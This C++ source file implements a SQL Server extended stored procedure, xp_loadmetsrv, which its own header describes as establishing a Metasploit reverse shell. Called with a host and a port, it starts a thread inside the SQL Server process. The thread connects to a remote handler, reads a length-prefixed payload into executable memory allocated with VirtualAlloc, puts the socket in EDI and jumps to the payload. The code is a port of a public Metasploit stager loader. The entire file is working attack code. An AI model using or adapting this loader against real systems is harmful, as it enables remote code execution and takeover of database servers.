// xp_loadmetsrv.cpp
// -----------------
// Extended stored procedure for establishing a metasploit reverse-shell.

#include "xp_loadmetsrv.h"

// Versioning export
__declspec(dllexport) ULONG __GetXpVersion()
{
   return ODS_VERSION;
}

// Horemheb extended stored procedure
__declspec(dllexport) SRVRETCODE xp_loadmetsrv(SRV_PROC *srvproc)
{
	DWORD	dwProcID = 0;
	DWORD	dwThreadID = 0;
	DWORD	dwReturnID = 0;
	HANDLE	hProcHandle = NULL;
	HANDLE	hThreadHandle = NULL;

	int		iParamSize = 0;
	TCHAR*	tzTarget = NULL;
	TCHAR*	tzPort = NULL;
	char*	szTarget = NULL;
	char*	szPort = NULL;

	DWORD	dwCharsConverted = 0;

	// Get the parameters
	if(2 != srv_rpcparams(srvproc))
	{
		Sql_SendErr(srvproc,_T("Invalid number of parameters"));
		Sql_SendMsg(srvproc,_T("Usage: exec xp_metsrv <host> <port>"));
		return(XP_ERROR);
	}

	if((!GetParamInfo(srvproc,1,&tzTarget)) || (!GetParamInfo(srvproc,2,&tzPort)))
	{
		Sql_SendErr(srvproc,_T("Unable to get parameters"));
		return(XP_ERROR);
	}

	// Make sure the parameters are in char format
	szTarget = new char[_tcslen(tzTarget) + 1];
	szPort = new char[_tcslen(tzPort) + 1];
	memset(szTarget,0,_tcslen(tzTarget) + 1);
	memset(szPort,0,_tcslen(tzPort) + 1);
	if(2 == sizeof(TCHAR))
	{
		// Convert from UNICODE
		wcstombs_s((size_t*)&dwCharsConverted,(char*)szTarget,(size_t)(_tcslen(tzTarget) + 1),tzTarget,(size_t)(_tcslen(tzTarget)));
		wcstombs_s((size_t*)&dwCharsConverted,(char*)szPort,(size_t)(_tcslen(tzPort) + 1),tzPort,(size_t)(_tcslen(tzPort)));
	}
	else
	{
		strcpy(szTarget,(char*)tzTarget);
		strcpy(szPort,(char*)tzPort);
	}
	
	sThreadParams	sParameters;
	sParameters.szTarget = szTarget;
	sParameters.szPort = szPort;

	// Get the handle of the current process (SQL)
	dwProcID = GetCurrentProcessId();
	hProcHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,true,dwProcID);
	if(NULL == hProcHandle)
	{
		Sql_SendMsg(srvproc,_T("Failure to get proc handle"));
		return(XP_ERROR);
	}

	Sql_SendMsg(srvproc,_T("Creating thread"));
	if(NULL != CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)LoadMetSrv,(void*)&sParameters,0,&dwThreadID))
	{
		Sql_SendMsg(srvproc,_T("Thread created"));

		// Make sure the thread doesn't return
		hThreadHandle = OpenThread(THREAD_ALL_ACCESS,false,dwThreadID);
		if(NULL == hThreadHandle)
			goto quick_exit;
		
		dwReturnID = WaitForSingleObject(hThreadHandle,3000); // 3 Second wait time
		CloseHandle(hThreadHandle);
		CloseHandle(hProcHandle);
		if(WAIT_TIMEOUT != dwReturnID)
			goto quick_exit;

		Sql_SendMsg(srvproc,_T("Returning from xsproc execution, thread executing"));
	}
	else
		goto quick_exit;

	return(XP_NOERROR);

quick_exit:
	CloseHandle(hProcHandle);
	Sql_SendMsg(srvproc,_T("Failed to create thread"));
	return(XP_ERROR);
}

// Send a SQL msg (non-error) - this always returns XP_NOERROR
// so that it can be called in-line with the xp_sekhmet return
// value call.
SRVRETCODE Sql_SendMsg(SRV_PROC *srvproc,TCHAR* tczMsg)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	iResult = srv_wsendmsg(srvproc,(DBTINYINT)0,(DBTINYINT)0,(wchar_t*)tczMsg,wcslen(tczMsg));
#else
	#ifndef SKHSUPPRESS_TXT
	iResult = srv_sendmsg(srvproc, SRV_MSG_INFO, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,(char*)tczMsg,strlen((char*)tczMsg));
	#endif
#endif
	
	return(iResult);
}

// Send a SQL msg (error) - this always returns XP_ERROR
// so that it can be called in-line with the xp_sekhmet return
// value call.
SRVRETCODE Sql_SendErr(SRV_PROC *srvproc,TCHAR* tczErr)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	iResult = srv_wsendmsg(srvproc,0,SRV_MSG_ERROR,(wchar_t*)tczErr,wcslen((wchar_t*)tczErr));
#else
	iResult = srv_sendmsg(srvproc, SRV_MSG_ERROR, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,(char*)tczErr,strlen((char*)tczErr));
#endif

	return(iResult);
}

// Gets parameter information using srv_paraminfo function
bool GetParamInfo(SRV_PROC *srvproc, int iParam, TCHAR** tcBuffer)
{
	BYTE*	pbData			= NULL;
	BYTE	pbType			= 0;
	ULONG	pcbMaxLen		= 0;
	ULONG	pcbActualLen	= 0;
	BOOL	pfNull			= false;

	if(SUCCEED != srv_paraminfo(srvproc,iParam,&pbType,&pcbMaxLen,&pcbActualLen,NULL,&pfNull))
		return(false);

	// Allocate space for the parameter
	pbData = (BYTE*)malloc(pcbActualLen + 2);
	memset(pbData,0,(pcbActualLen + 2));
	pcbMaxLen = pcbActualLen + 2;

	// Copy the parameter
	if(SUCCEED != srv_paraminfo(srvproc,iParam,&pbType,&pcbMaxLen,&pcbActualLen,pbData,&pfNull))
		return(false);

	if(!NormalizeSqlData(pbData,tcBuffer,pcbActualLen,pbType))
		return(false);

	free(pbData);

	return(true);
}

// Determines the data returned from SQL and puts it in the current working TCHAR format
bool NormalizeSqlData(void* pbData, TCHAR** tczClientRequest, ULONG pcbActualLen, BYTE pbType)
{
	DWORD	dwReturnVal;

	// Determine the data type provided
	switch(pbType)
	{
	// ASCII types
	case SRVBIGCHAR:
	case SRVBIGVARCHAR:
	case SRVCHAR:
	case SRVTEXT:
	case SRVVARCHAR:
		*tczClientRequest = (TCHAR*)malloc((sizeof(TCHAR) * (strlen((char*)pbData) + 1)));
		memset(*tczClientRequest,0,(sizeof(TCHAR) * (strlen((char*)pbData) + 1)));
		if(2 == sizeof(TCHAR))
		{
			// UNICODE to ASCII
			mbstowcs_s((size_t*)&dwReturnVal,(wchar_t*)*tczClientRequest,strlen((char*)pbData) + 1,(char*)pbData,strlen((char*)pbData));
		}
		else
		{
			// ASCII to ASCII
			strcpy_s((char*)*tczClientRequest,strlen((char*)pbData) + 1,(char*)pbData);
		}
		break;
	// UNICODE types
	case SRVNCHAR:
	case SRVNTEXT:
	case SRVNVARCHAR:
		*tczClientRequest = (TCHAR*)malloc((sizeof(TCHAR) * (wcslen((wchar_t*)pbData) + 1)));
		memset(*tczClientRequest,0,(sizeof(TCHAR) * (wcslen((wchar_t*)pbData) + 1)));
		if(2 == sizeof(TCHAR))
		{
			// UNICODE to UNICODE
			wcscpy_s((wchar_t*)*tczClientRequest,wcslen((wchar_t*)pbData) + 1,(wchar_t*)pbData);
		}
		else
		{
			// UNICODE to ASCII
			wcstombs_s((size_t*)&dwReturnVal,(char*)*tczClientRequest,wcslen((wchar_t*)pbData) + 1,(wchar_t*)pbData,wcslen((wchar_t*)pbData));
		}
		break;
	// Non-textual types
	default:
		return(false);
		break;
	}
	return(true);
}

// Port of the metasploit-loader by Raphael Mudge
// https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c
bool LoadMetSrv(LPVOID pParameters)
{
	ULONG32			size;
	char*			buffer;
	void			(*function)();

	sThreadParams*	sParameters;
	sParameters = (sThreadParams*)pParameters;

	winsock_init();

	/* connect to the handler */
	SOCKET my_socket = wsconnect(sParameters->szTarget, atoi(sParameters->szPort));

	if(NULL == my_socket)
		return(false);

	/* read the 4-byte length */
	int count = recv(my_socket, (char *)&size, 4, 0);
	if (count != 4 || size <= 0)
		return(false);
		//punt(my_socket, "read a strange or incomplete length value\n");

	/* allocate a RWX buffer */
	//buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	buffer = (char*)VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (buffer == NULL)
		return(false);
		//punt(my_socket, "could not allocate buffer\n");

	/* prepend a little assembly to move our SOCKET value to the EDI register
	thanks mihi for pointing this out
	BF 78 56 34 12 => mov edi, 0x12345678 */
	buffer[0] = 0xBF;

	/* copy the value of our socket to the buffer */
	memcpy(buffer + 1, &my_socket, 4);

	/* read bytes into the buffer */
	count = recv_all(my_socket, buffer + 5, size);

	if(-1 == count)
		return(false);

	/* cast our buffer as a function and call it */
	function = (void (*)())buffer;
	function();

	return(false);
}

// All of the following functions were knicked directly from metasploit-loader

/* init winsock */
bool winsock_init()
{
	WSADATA	wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD(2, 2);

	if (WSAStartup(wVersionRequested, &wsaData) < 0)
	{
		// printf("ws2_32.dll is out of date.\n");
		WSACleanup();
		return(false);
	}

	return(true);
}

/* a quick routine to quit and report why we quit */
bool punt(SOCKET my_socket, char * error)
{
	//printf("Bad things: %s\n", error);
	closesocket(my_socket);
	WSACleanup();
	return(false);
}

/* attempt to receive all of the requested data from the socket */
int recv_all(SOCKET my_socket, void * buffer, int len)
{
	int tret = 0;
	int nret = 0;
	// void * startb = buffer;
	char * startb = (char*)buffer;
	while (tret < len)
	{
		nret = recv(my_socket, (char *)startb, len - tret, 0);
		startb += nret;
		tret += nret;

		if (nret == SOCKET_ERROR)
			return(-1);
			//punt(my_socket, "Could not receive data");
	}
	return tret;
}

/* establish a connection to a host:port */
SOCKET wsconnect(char * targetip, int port)
{
	struct hostent *	target;
	struct sockaddr_in sock;
	SOCKET my_socket;

	/* setup our socket */
	my_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (my_socket == INVALID_SOCKET)
		return(NULL);
		//punt(my_socket, "Could not initialize socket");

	/* resolve our target */
	target = gethostbyname(targetip);
	if (target == NULL)
		return(NULL);
		//punt(my_socket, "Could not resolve target");


	/* copy our target information into the sock */
	memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);

	/* attempt to connect */
	if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
		return(NULL);
		//punt(my_socket, "Could not connect to target");

	return my_socket;
}